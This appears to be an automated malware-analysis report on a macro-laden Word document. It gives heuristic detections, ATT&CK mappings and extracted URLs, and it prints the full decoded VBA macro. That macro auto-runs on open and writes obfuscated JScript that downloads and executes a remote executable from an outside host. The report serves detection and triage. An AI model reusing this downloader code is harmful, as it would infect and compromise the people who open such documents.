MALICIOUS
238
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is an Office document containing a VBA macro with a Document_Open auto-execution routine. The macro utilizes WScript.Shell to execute commands, specifically creating an ADODB.Stream object to download a payload from the URL 'https://a.pomf.cat/uquyqs.t' and saving it as '%TEMP%\fe.exe'. This indicates a downloader or droppper functionality.
Heuristics 8
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
VBRSBgv.Close Shell Environ("COMSPEC") & " /c start " & jrhuUJhg1 & "\" & "rberbr.js", vbHide -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Dim ssap As String ssap = "var _0x3a85=['1330266MkFDcr','101760EUGpaf','ExpandEnvironmentStrings','1066655Ikbepd','send','%TEMP%','589132ILmObW','Type','Write','Position','ADODB.Stream','227kxxLpQ','91qHpurL','CreateObject','Open','https://a.pomf.cat/uquyqs.t','284526rkTOoR','WScript.Shell','4086047inkEaf','/fe.exe'];var _0x4c6240=_0x3c78,_0x5e4cc5=_0x3c78;(function(_0x2d7b61,_0x492d66){var _0x313c51=_0x3c78,_0x35a2c6=_0x3c78;while(!![]){try{var _0x4e4740=-parseInt(_0x313c51(0x1dd))+-parseInt(_0x313c51(0x1cf))*par … "t(_0x35a2c6(0x1d8))+-parseInt(_0x313c51(0x1d7))+-parseInt(_0x35a2c6(0x1da))+-parseInt(_0x35a2c6(0x1d3))+parseInt(_0x313c51(0x1d5));if(_0x4e4740===_0x492d66)break;else _0x2d7b61['push'](_0x2d7b61['shift']());}catch(_0x3c4768){_0x2d7b61['push'](_0x2d7b61['shift']());}}}(_0x3a85,0xa933b));function _0x3c78(_0x7f2a9d,_0x43bcf9){_0x7f2a9d=_0x7f2a9d-0x1cf;var _0x3a8563=_0x3a85[_0x7f2a9d];return _0x3a8563;}try{var WshShell=WScript[_0x4c6240(0x1d0)](_0x4c6240(0x1d4)),filepath=WshShell[_0x5e4cc5(0x1d9)]( … -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim ssap As String ssap = "var _0x3a85=['1330266MkFDcr','101760EUGpaf','ExpandEnvironmentStrings','1066655Ikbepd','send','%TEMP%','589132ILmObW','Type','Write','Position','ADODB.Stream','227kxxLpQ','91qHpurL','CreateObject','Open','https://a.pomf.cat/uquyqs.t','284526rkTOoR','WScript.Shell','4086047inkEaf','/fe.exe'];var _0x4c6240=_0x3c78,_0x5e4cc5=_0x3c78;(function(_0x2d7b61,_0x492d66){var _0x313c51=_0x3c78,_0x35a2c6=_0x3c78;while(!![]){try{var _0x4e4740=-parseInt(_0x313c51(0x1dd))+-parseInt(_0x313c51(0x1cf))*par … "t(_0x35a2c6(0x1d8))+-parseInt(_0x313c51(0x1d7))+-parseInt(_0x35a2c6(0x1da))+-parseInt(_0x35a2c6(0x1d3))+parseInt(_0x313c51(0x1d5));if(_0x4e4740===_0x492d66)break;else _0x2d7b61['push'](_0x2d7b61['shift']());}catch(_0x3c4768){_0x2d7b61['push'](_0x2d7b61['shift']());}}}(_0x3a85,0xa933b));function _0x3c78(_0x7f2a9d,_0x43bcf9){_0x7f2a9d=_0x7f2a9d-0x1cf;var _0x3a8563=_0x3a85[_0x7f2a9d];return _0x3a8563;}try{var WshShell=WScript[_0x4c6240(0x1d0)](_0x4c6240(0x1d4)),filepath=WshShell[_0x5e4cc5(0x1d9)]( … -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() On Error Resume Next -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
Dim rebrbcwVD As Object jrhuUJhg1 = Environ("TEMP") Set rebrbcwVD = CreateObject("Scripting.FileSystemObject") -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://a.pomf.cat/uquyqs.t In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2433 bytes |
SHA-256: 76508f72829248a472aeed1f694cdd407db307067941597845b1c1839f179a58 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Dim ssap As String
ssap = "var _0x3a85=['1330266MkFDcr','101760EUGpaf','ExpandEnvironmentStrings','1066655Ikbepd','send','%TEMP%','589132ILmObW','Type','Write','Position','ADODB.Stream','227kxxLpQ','91qHpurL','CreateObject','Open','https://a.pomf.cat/uquyqs.t','284526rkTOoR','WScript.Shell','4086047inkEaf','/fe.exe'];var _0x4c6240=_0x3c78,_0x5e4cc5=_0x3c78;(function(_0x2d7b61,_0x492d66){var _0x313c51=_0x3c78,_0x35a2c6=_0x3c78;while(!![]){try{var _0x4e4740=-parseInt(_0x313c51(0x1dd))+-parseInt(_0x313c51(0x1cf))*parseInt(_0x35a2c6(0x1e2))+-parseIn" & _
"t(_0x35a2c6(0x1d8))+-parseInt(_0x313c51(0x1d7))+-parseInt(_0x35a2c6(0x1da))+-parseInt(_0x35a2c6(0x1d3))+parseInt(_0x313c51(0x1d5));if(_0x4e4740===_0x492d66)break;else _0x2d7b61['push'](_0x2d7b61['shift']());}catch(_0x3c4768){_0x2d7b61['push'](_0x2d7b61['shift']());}}}(_0x3a85,0xa933b));function _0x3c78(_0x7f2a9d,_0x43bcf9){_0x7f2a9d=_0x7f2a9d-0x1cf;var _0x3a8563=_0x3a85[_0x7f2a9d];return _0x3a8563;}try{var WshShell=WScript[_0x4c6240(0x1d0)](_0x4c6240(0x1d4)),filepath=WshShell[_0x5e4cc5(0x1d9)](_0x5e4cc5(0x1dc))+_0x5e4cc5(0x1d6),url=_0x" & _
"5e4cc5(0x1d2),xhr=new ActiveXObject('MSXML2.XMLHTTP');xhr['open']('GET',url,![]),xhr[_0x5e4cc5(0x1db)]();var fso=new ActiveXObject('Scripting.FileSystemObject');if(fso['FileExists'](filepath)==![]){var stream=new ActiveXObject(_0x4c6240(0x1e1));stream[_0x4c6240(0x1d1)](),stream[_0x4c6240(0x1de)]=0x1,stream[_0x5e4cc5(0x1df)](xhr['ResponseBody']),stream[_0x4c6240(0x1e0)]=0x0,stream['SaveToFile'](filepath,0x2),stream['Close']();}var shell=WScript[_0x4c6240(0x1d0)](_0x5e4cc5(0x1d4));shell['Run'](filepath);}catch(_0x4256d6){}"
Dim jrhuUJhg1 As String
Dim rebrbcwVD As Object
jrhuUJhg1 = Environ("TEMP")
Set rebrbcwVD = CreateObject("Scripting.FileSystemObject")
Dim VBRSBgv As Object
Set VBRSBgv = rebrbcwVD.CreateTextFile(jrhuUJhg1 & "\" & "rberbr.js", True, True)
VBRSBgv.write ssap
VBRSBgv.Close
Shell Environ("COMSPEC") & " /c start " & jrhuUJhg1 & "\" & "rberbr.js", vbHide
End Sub
Attribute VB_Name = "NewMacros"
Sub grewb()
'
' grewb Macro
'
'
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 12800 bytes |
SHA-256: 9dbfd4074a156ea9629abfad60e6ddc67438984da2ad77bdc43117d0dc7eb2ef |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.